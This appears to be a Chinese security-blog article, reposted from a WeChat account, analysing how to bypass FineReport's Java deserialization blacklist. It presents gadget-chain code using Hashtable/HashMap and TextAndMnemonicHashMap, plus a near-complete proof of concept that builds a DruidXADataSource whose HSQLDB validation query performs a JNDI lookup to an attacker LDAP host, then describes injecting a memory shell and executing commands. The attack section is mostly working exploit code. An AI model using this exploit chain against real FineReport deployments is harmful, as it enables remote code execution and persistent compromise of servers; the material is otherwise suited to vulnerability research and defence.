帆软报表反序列化黑名单绕过分析

admin 2024年8月26日22:00:15评论116 views字数 5205阅读17分21秒阅读模式

前言

之前看到的有触发toString方法的新链子,爆了有几个月了,刚好能够用来绕过帆软报表的黑名单,下面对分析的记录做个简单的分享。

HashTable链

`javax.swing.UIDefaults.TextAndMnemonicHashMap`类是继承自`HashMap`,可以看到`key`参数能够触发`toString`,而只要从`HashMap`中的get方法取出的值为`null`就能进入到if:

帆软报表反序列化黑名单绕过分析

在`java.util.AbstractMap#equals`方法中,当遍历到`value`为null,触发m的get方法:

帆软报表反序列化黑名单绕过分析

既然说是`HashTable`触发的链子,我们就找到其`readObject`方法,发现其最终进入到`java.util.Hashtable#reconstitutionPut`方法,通过`e.key.equals`可以触发:

帆软报表反序列化黑名单绕过分析

具体调用栈:

at javax.swing.UIDefaults$TextAndMnemonicHashMap.get(UIDefaults.java:1251)at java.util.AbstractMap.equals(AbstractMap.java:492)at java.util.Hashtable.reconstitutionPut(Hashtable.java:1266)at java.util.Hashtable.readObject(Hashtable.java:1218)

这里TextAndMnemonicHashMap能调用到`AbstractMap#equals`方法是因为TextAndMnemonicHashMap继承自HashMap。

而HashMap继承自AbstractMap,并且它没有实现equals方法:

具体实现如下

public static Hashtable maskTable2String(Object o) throws Exception {        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");        unsafeField.setAccessible(true);        Unsafe unsafe = (Unsafe) unsafeField.get(null);        Map map1 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));        Map map2 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));        map1.put(o, "xxx");        map2.put(o, "xixi");        setFieldValue(map1, "loadFactor", 1);        setFieldValue(map2, "loadFactor", 1);        Hashtable hashtable = new Hashtable();        hashtable.put(map1, 1);        hashtable.put(map2, 2);        map1.put(o, null);        map2.put(o, null);        retur

需要注意的是:

1、这里和CC7有类似的点,但是这里TextAndMnemonicHashMap是put两个相同的key对象,所以自然后面比对hash的时候是相同的。

2. 而put两个不同的value是因为在进入`Hashtable#readobject()`时,会计算元素的个数,两个元素相同 elements 为1 就无法二次进入了。

3. 之所以要设置`loadFactor`是因为这是HashMap扩容所需要的负载因子,在反序列化的时候,要通过它去知道序列化之前的数据状态。可以自行调试看看没有`loadFactor`设置会出现什么错误。

HashMap链

而`java.util.HashMap#readObject`的话可以通过触发`java.util.HashMap#putVal`来触发equals:

帆软报表反序列化黑名单绕过分析

调用栈如下:

get:1251, UIDefaults$TextAndMnemonicHashMap (javax.swing)equals:492, AbstractMap (java.util)putVal:636, HashMap (java.util)readObject:1419, HashMap (java.util)

具体实现如下:

public static HashMap makeHashMap2String(Object obj1) throws Exception {    Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");    unsafeField.setAccessible(true);    Unsafe unsafe = (Unsafe) unsafeField.get(null);    Map tHashMap1 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));    Map tHashMap2 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));    tHashMap1.put(obj1, "123");    tHashMap2.put(obj1, "12");    setFieldValue(tHashMap1, "loadFactor", 1);    setFieldValue(tHashMap2, "loadFactor", 1);    HashMap hashMap = new HashMap();    hashMap.put(tHashMap1,"1");    hashMap.put(tHashMap2,"1");    setHashMapValue2Null(tHashMap1, obj1);    setHashMapValue2Null(tHashMap2, obj1);    return hashMap;}

黑名单绕过利用

toString的点也是许多反序列化中需要用到的,如ROME、Jackson、Vaadin等链子中都有它的身影,常利用的jackson反序列化可以用上面的链子构造:

帆软报表反序列化黑名单绕过分析

众所周知,某系统的黑名单是十分丰富的,首先这里我们直接定位到sink的地方

`com.fr.third.alibaba.druid.pool.xa.DruidXADataSource#getXAConnection()`

他可以初始化链接池数据源,设置jdbc的各种参数,它继承了`DruidDataSource`我们就容易想到利用它去打JDBC Attcak,可以用的有h2、mysql、hsql、oracle等等,具体看系统依赖。

可成功触发:

帆软报表反序列化黑名单绕过分析

所以我们接着就去找getter触发的点,这里同样是利用了jackson链的getter。

首先定位到`com.fr.third.fasterxml.jackson.databind.ObjectWriter#writeValueAsString`,从之前jackson反序列化的知识我们了解它最终会触发invoke调用到getter帆软报表反序列化黑名单绕过分析

然后呢又可以找到`JSONArray`和`JsonStringArrayList`的`tostring`会调用到`writeValueAsString`

`com.fr.json.JSONArray#toString` ->`com.fr.json.revise.EmbedJson#encode`

帆软报表反序列化黑名单绕过分析

`org.apache.arrow.vector.util.JsonStringArrayList#toString`->`com.fasterxml.jackson.databind.ObjectMapper#writeValueAsString`

帆软报表反序列化黑名单绕过分析

至于后面触发toString就可以想到搭配上面两条触发toString的链子。

所以最终的poc就为:

public class Finefr {    public static void main(String[] args) throws Exception {        String ldapPayload = "ldap://x.x.x.x:1389/xxxx";        String query = "call "javax.naming.InitialContext.doLookup"('"+ ldapPayload + "');";        String url = "jdbc:hsqldb:file:/tmp/xxx/db";        DruidXADataSource druidXADataSource = new DruidXADataSource();        druidXADataSource.setLogWriter(null);        druidXADataSource.setStatLogger(null);        druidXADataSource.setInitialSize(1);        druidXADataSource.setValidationQuery(query);        druidXADataSource.setUrl(url);        druidXADataSource.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");        Field field = Unsafe.class.getDeclaredField("theUnsafe");        field.setAccessible(true);        Unsafe unsafe = (Unsafe)field.get((Object)null);        unsafe.putObject(druidXADataSource, unsafe.objectFieldOffset(DruidAbstractDataSource.class.getDeclaredField("transactionHistogram")), (Object) null);        unsafe.putObject(druidXADataSource, unsafe.objectFieldOffset(DruidDataSource.class.getDeclaredField("initedLatch")), (Object) null);        ArrayList<Object> arrayList = new ArrayList<>();        arrayList.add(druidXADataSource);        JSONArray jsonArray = new JSONArray(arrayList);         Hashtable hashtable = makeTable2String(jsonArray);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(hashtable);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        new WorkspaceServerInvoker().handleMessage(baos.toByteArray());

这个点是因为这两个值对应的类并没有实现`Serializable`接口,所以在序列化的时候会报错,将它置空即可:

帆软报表反序列化黑名单绕过分析

武器化及内存马注入

上面的利用是通过JNDI注入打的Jackson的反序列化,并且帆软默认的jdk是8u191,也就是打jndi是需要绕过高版本的。这里直接将帆软Jackson的反序列化集成到JNDI工具中,然后生成利用payload打入我们的内存马:

帆软报表反序列化黑名单绕过分析

连接内存马执行命令成功:

帆软报表反序列化黑名单绕过分析

帆软报表反序列化黑名单绕过分析

后续

目前相关漏洞利用及内存马注入的工具还未完全整理出来,支持的漏洞较少,仅限内部使用,后面完善后会在公众号进行分享。

原文始发于微信公众号(稻草人安全团队):帆软报表反序列化黑名单绕过分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月26日22:00:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帆软报表反序列化黑名单绕过分析https://cn-sec.com/archives/3098071.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息